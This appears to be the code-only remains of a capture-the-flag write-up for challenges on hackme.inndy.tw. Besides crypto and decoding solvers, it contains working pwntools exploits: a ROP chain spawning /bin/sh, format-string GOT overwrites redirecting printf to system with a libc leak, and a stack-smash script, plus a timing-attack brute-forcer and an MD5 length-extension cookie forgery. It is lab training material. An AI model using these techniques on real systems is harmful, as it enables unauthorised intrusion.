1
2
3
4

zip plain.zip ../png/00000000.png
pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d flag.zip -a
x flag.zip
cat flag/meow/flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#!/usr/bin/env python2

import random
import string

def rot13(s):
    return s.translate(string.maketrans(string.uppercase + string.lowercase,
        string.uppercase[13:] + string.uppercase[:13] +
        string.lowercase[13:] + string.lowercase[:13]))

def base64(s):
    return ''.join(s.encode('base64').split())

def hex(s):
    return s.encode('hex')

def upsidedown(s):
    return s.translate(string.maketrans(string.uppercase + string.lowercase,
        string.lowercase + string.uppercase))

flag = 'FLAG{.....................}'  # try to recover flag

E = (rot13, base64, hex, upsidedown)

for i in range(random.randint(30, 50)):
    print i
    c = random.randint(0, len(E) - 1)
    flag = '%d%s' % (c, E[c](flag))

open('flag.enc', 'w').write(flag)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

from binascii import unhexlify
from base64 import b64decode
import string

def unrot13(s):
     return s.translate(str.maketrans(string.ascii_uppercase[13:] + string.ascii_uppercase[:13] +
                                         string.ascii_lowercase[13:] + string.ascii_lowercase[:13],
                                         string.ascii_uppercase + string.ascii_lowercase))

def unupsidedown(s):
     return s.translate(str.maketrans(string.ascii_lowercase + string.ascii_uppercase,
                                         string.ascii_uppercase + string.ascii_lowercase))

def unbase64(s):
    return b64decode(s).decode()

def unhex(s):
    return unhexlify(s).decode()

with open('./flag.enc') as f:
    data = f.read()

E = (unrot13, unbase64, unhex, unupsidedown)

for i in range(50):
    c, data = int(data[0]), data[1:]
    data = E[c](data)
    if data.startswith('FLAG'):
        print(data)
        break

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from string import ascii_uppercase, digits
from time import time

from pwn import remote, context
from timeauth import TimeAuthChecker

class ExampleChecker(TimeAuthChecker):

    def __init__(self):
        super(self.__class__, self).__init__(
            charset=ascii_uppercase + digits + '_',
            token_length=30, # 随便猜的长度
            max_thread=19
        )

    def request(self, token):
        context.log_level = 'error'
        s = remote('hackme.inndy.tw', 7708)
        base_time = time()
        s.sendlineafter('What is your flag?', 'FLAG{' + token + '}')
        s.readall()
        s.close()
        return time() - base_time


if __name__ == "__main__":
    a = ExampleChecker()
    a.process()
    a.print_token()

1

grep -oP "(▄▀▀▒██▒██▒)|(▄▀▀ ██ ██ )" pusheen.txt|xargs echo -n|sed 's/▄▀▀▒██▒██▒/1/g;s/▄▀▀ ██ ██/0/g;s/ //g'|rax2 -bt

1
2
3
4
5

import lzma

f = lzma.open('./big.xz')
f.seek(-100, 2) #巨慢的 seek()...
print(f.read())

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

function print_qrcode(o, c, n, e) {
  var r = [],
    l = [];
  c = c || "22px", n = n || "black", e = e || "white";
  for (var i = 0; i < o.length; i++) {
    for (var p = o[i], t = 0; t < p.length; t++) l.push("%c\u25a0"), r.push("line-height:0; font-size: " + c + "; color:" + ("1" == p[t] ? n : e));
    l.push("\n")
  }
  r.unshift(l.join("")), console.log.apply(console, r)
}
var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001", "00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"];
console.log("%cI love CTF!", "color: pink; font-size: 64px"), print_qrcode(qrcode, "25px", "#333", "#ccc");

1

md5($_POST['password']) == '00000000000000000000000000000000'

1
2
3
4
5
6

#!/usr/bin/env python

s = b'UIJT.JT.ZPVS.GMBH'

for i in s:
    print(chr(i - 1), end='')

1
2

(lambda _, arg1, arg2: _(_, arg1, arg2))(
    lambda self, arg1, arg2: 'I can call my self', arg1, arg2)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

a1, a2 = BitVecs('a1, a2', 32)
solver = Solver()
solver.add(a1 * a2 == -574406350)
solver.add((a1 ^ 0x7E) * (a2 + 16) == 1931514558)
solver.add((SignExt(16, a1) - SignExt(16, a2)) & 0xFFF == 3295)

while solver.check() == sat:
    m = solver.model()
    x = m[a1].as_long()
    y = m[a2].as_long()
    if is_prime(x):
        print(x, y)
    solver.add(Or(a1 != x, a2 != y))

1
2
3
4
5
6

[*] '/tmp/tmp/rop2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import *
from pwnlib.constants import *

pwnlib.gdb.context.terminal = ['konsole', '-e']
context(log_level='DEBUG', arch='i386')

io = remote('hackme.inndy.tw', 7703)
# io = process('./rop2')
ex = ELF('./rop2')
# pwnlib.gdb.attach(io)
# raw_input()

buf_addr = ex.symbols['some_buffer']
syscall_addr = ex.plt['syscall']
overflow_addr = ex.symbols['overflow']

payload = flat(['\x90' * (0xC + 0x4), syscall_addr, overflow_addr,
                SYS_read, constants.STDIN_FILENO, buf_addr, 7])
io.sendafter(':', payload)
io.send('/bin/sh')

payload = flat(['\x90' * (0xC + 0x4), syscall_addr, 0xdeadbeef,
                SYS_execve, buf_addr, 0, 0])
io.sendafter(':', payload)
io.interactive()
io.close()

1
2
3
4
5
6
7

▶ checksec echo
[*] '/home/aloxaf/CTF/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-10Ch]
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(&s, 256, stdin);
    printf(&s);
  }
  while ( strcmp(&s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

pwnlib.gdb.context.terminal = ['konsole', '-e']
context(arch='i386', log_level='debug')
io = process('./echo')
# io = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')

# 没有开ASLR, 可以直接从 elf 中读取 plt 
printf_got = elf.got['printf']
system_plt = elf.plt['system']
log.info('printf_got: {:#x}'.format(printf_got))
log.info('system_plt: {:#x}'.format(system_plt))

# pwnlib.gdb.attach(io)

payload = fmtstr_payload(7, {printf_got: system_plt})
log.info('payload: ' + payload)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

1
2
3
4
5
6
7

▶ checksec echo2
[*] '/home/aloxaf/CTF/echo2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

from pwn import *
from LibcSearcher import LibcSearcher

pwnlib.gdb.context.terminal = ['konsole', '-e']
context(log_level='DEBUG', arch='amd64')

# io = process('./echo2', env={"LD_PRELOAD": "./libc-2.23.so.x86_64"})
io = remote('hackme.inndy.tw', 7712)
elf = ELF('./echo2')

# pwnlib.gdb.attach(io, 'b printf')

# 泄露 main 函数基址, __libc_start_main 基址
io.sendline('%41$p %43$p')
main_addr, libc_addr = (int(i, 16) for i in io.recv().split())
main_addr -= 74
libc_addr -= 240
log.info('main_addr: {:#x}'.format(main_addr))
log.info('libc_addr: {:#x}'.format(libc_addr))

# 得到 libc 基址
libc = LibcSearcher('__libc_start_main', libc_addr)
libc_base = libc_addr - libc.dump('__libc_start_main')
log.info('libc_base: {:#x}'.format(libc_base))

# 得到 elf 基址
elf_offset = main_addr - elf.symbols['main']
# 得到 printf_got 地址
printf_got = elf_offset + elf.got['printf']
log.info('printf_got: {:#x}'.format(printf_got))
# 得到 system 地址
system_addr = libc_base + libc.dump('system')
log.info('system_addr: {:#x}'.format(system_addr))

# 64位没法使用 fmtstr_payload, 因为默认把地址放在前面会导致大概率被 \x00 截断
def fmt_str_payload64(offset, src, data):
    """
    生成 64 位格式化字符串payload
    offset: 偏移
    src: 源地址
    data: 欲写入内容
    """
    payload1, payload2 = [], []
    addr = [[ord(v), i] for i, v in enumerate(p64(data)[:-2])] # 最后两位一般是 \x00
    addr = sorted(addr)
    chr_cnt = 0
    for index, value in enumerate(addr):
        payload1.append('%{:02}c%{}$hhn'.format(value[0]-chr_cnt, offset+9+index))
        payload2.append(src+value[1])
        chr_cnt = value[0]

    # 用 '_' 对齐
    return flat(payload1 + ['_' * 6] + payload2)

payload = fmt_str_payload64(6, printf_got, system_addr)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

io.close()

1
2
3
4
5
6
7

➤ checksec echo3
[*] '/home/aloxaf/CTF/echo3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

1
2
3

  write(1, "Try to read the flag\n", 0x15u);
  read(0, buf, 0x10000u);
  write(1, buf, *(size_t *)buf);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

from pwn import *

gdb.context.terminal = ['konsole', '-e']
context.log_level = 'DEBUG'

io = remote('hackme.inndy.tw', 7717)
# io = process('./smash-the-stack')
ex = ELF('./smash-the-stack')
buff_addr = ex.symbols['buff']

# gdb.attach(io)
# raw_input()
io.send(p32(buff_addr) * 50)
io.interactive()
io.close()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

from Crypto.Util import number
import requests

url = 'https://hackme.inndy.tw/otp/?issue_otp=illya'

ciphers = ''
for i in range(100):
    ciphers += requests.get(url).text

b = [number.long_to_bytes(int(i, 16)) for i in ciphers.split()]

for _ in range(len(b[0])):
    c = set(range(256)) - set([i[_] for i in b])
    if len(c) == 1:
        print(chr(c.pop()), end='')
    else:
        print('')
        print(bytes(c))

1

<?php if($user['admin']) printf("<code>%s</code>", htmlentities($flag)); ?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

function set_user($user_data)
{
    global $user, $secret;

    $user = [
        'name' => $user_data['name'],
        'admin' => $user_data['admin']
    ];

    $serialized = http_build_query($user);
    $sig = md5(md5($secret).$serialized);
    $all = base64_encode("{$sig}#{$serialized}");
    setcookie('user', $all, time()+3600);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

function load_user()
{
    global $secret, $error;

    if(empty($_COOKIE['user'])) {
        return null;
    }

    list($sig, $serialized) = explode('#', base64_decode($_COOKIE['user']), 2);

    if(md5(md5($secret).$serialized) !== $sig) {
        $error = 'Invalid session';
        return false;
    }

    parse_str($serialized, $user);
    return $user;
}

1
2
3

▶ hashpump -s 6bcb9c9155975a53e951b0b50f137480 -d 'name=guest&admin=0' -a 'illya' -k 32
4b6fe69cd0880b2e01e609d8ed9fd30a
name=guest&admin=0\x80\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00illya

1
2
3
4
5
6

def crack(n):
    for i in range(256):
        if (i * 0xb1 + 0x1b) & 0xff == n:
            return i

print(bytes([crack(ord(i)) for i in crypted]).decode())

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

import json
from z3 import *

for k, v in json.load(open('crypted')).items():
    globals()[k] = v
    
solver = Solver()

a, b, c = BitVecs('a b c', 262)
for _ in [a, b, c]:
    solver.add(_ >= pow(2, 256, m))
    solver.add(_ < pow(2, 257, m))
solver.add((a + b * 3) % m == x)
solver.add((b - c * 5) % m == y)
solver.add((a + c * 8) % m == z)

models = []
while solver.check() == sat:
    m = solver.model()
    print(m)
    models.append(m)
    solver.add(Or(a != m[a], b != m[b], c != m[c]))

1
2

p = pow(flag, a, M)
q = pow(flag, b, M)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from gmpy2 import gcdext, invert
from Crypto.Util.number import long_to_bytes

a = m[a].as_long()
b = m[b].as_long()

gcd, s, t = gcdext(a, b)
s = -s # 此处 s < 0
p = invert(p, M)
plain = pow(p, s, M) * pow(q, t, M) % M
print(long_to_bytes(plain))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

%%cython 
import cython
from pwn import *

@cython.cdivision(True)
def _eval(int a, op, int b):
    if op == b'+':
        return a + b
    elif op == b'-':
        return a - b
    elif op == b'*':
        return a * b
    elif op == b'/':
        return a / b

io = remote('hackme.inndy.tw', 7707)
io.recvuntil('start the game.\n')
io.sendline('Yes I know')

exps = b''

while exps.count(b'\n') != 10000:
    exps += io.recv()
exps = exps.strip().split(b'\n')

ans = ''
for i in range(len(exps)):
    exp = exps[i].split()
    a, b = int(exp[0]), int(exp[2])
    op = exp[1]
    ans += f'{_eval(a, op, b)}\n'
io.send(ans)
io.interactive()
io.close()

1
2

pacman -S poppler
pdftohtml --help